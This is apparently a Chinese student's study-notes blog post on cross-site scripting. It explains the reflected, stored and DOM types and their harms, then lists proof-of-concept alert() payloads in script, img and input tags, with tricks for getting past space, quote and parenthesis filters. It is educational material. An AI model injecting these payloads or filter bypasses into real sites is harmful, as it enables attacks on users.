XSS | 青训营笔记

XSS | 青训营笔记

这是我参与「第四届青训营」笔记创作活动的的第9天。

XSS简介

XSS又叫CSS(Cross-Site Script),跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS漏洞通常是通过php的输出函数将JavaScript代码输出到HTML页面中,通过用户本地浏览器执行的,所以XSS漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有: echoprintfprintprint_rsprintfdievar-dumpvar_export

XSS原理

攻击者对含有漏洞的服务器发起XSS攻击(注入JavaScript代码),诱使受害者打开受到攻击的服务器URL,受害者在Web浏览器中打开URL,恶意脚本执行。

XSS的攻击方式

  • 反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理
  • 存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
  • DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。

XSS的危害

  1. 挂马
  2. 盗取用户Cookie
  3. DOS(拒绝服务)客户端浏览器
  4. 钓鱼攻击,高级的钓鱼技巧
  5. 删除目标文章、恶意篡改数据、嫁祸
  6. 劫持用户Web行为,甚至进一步渗透内网
  7. 爆发Web2.0蠕虫
  8. 蠕虫式的DDoS攻击
  9. 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
  10. 其它安全问题

XSS的攻击方式

scirpt 标签

script 标签用于定义客户端脚本,比如 JavaScript。

    <script>alert(1);</script>
    <script>alert("xss");</script>

img 标签

img 标签定义 HTML 页面中的图像。

<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>

input 标签

input 标签规定了用户可以在其中输入数据的输入字段。

<!-- onfocus 事件在对象获得焦点时发生: -->
<input onfocus=alert(1);>

竞争焦点,从而触发onblur事件:

<input onblur=alert(1) autofocus><input autofocus>

input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。

<input onfocus="alert(1);" autofocus>
" οnclick=alert(1)>        这样需要点击一下输入框<br>
" onmouseover=alert(1)>    需要鼠标划过输入框<br>

XSS基本过滤方法

空格过滤

/**/,注释符号绕过;/符号绕过;

<img/src="x"/onerror=alert(1);>

也可以:

<img/src="x"onerror=alert(1);>

引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

<img src=x onerror=alert(`xss`);>

括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

<img src=x onerror="javascript:window.οnerrοr=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>           
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

UestcXiye

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值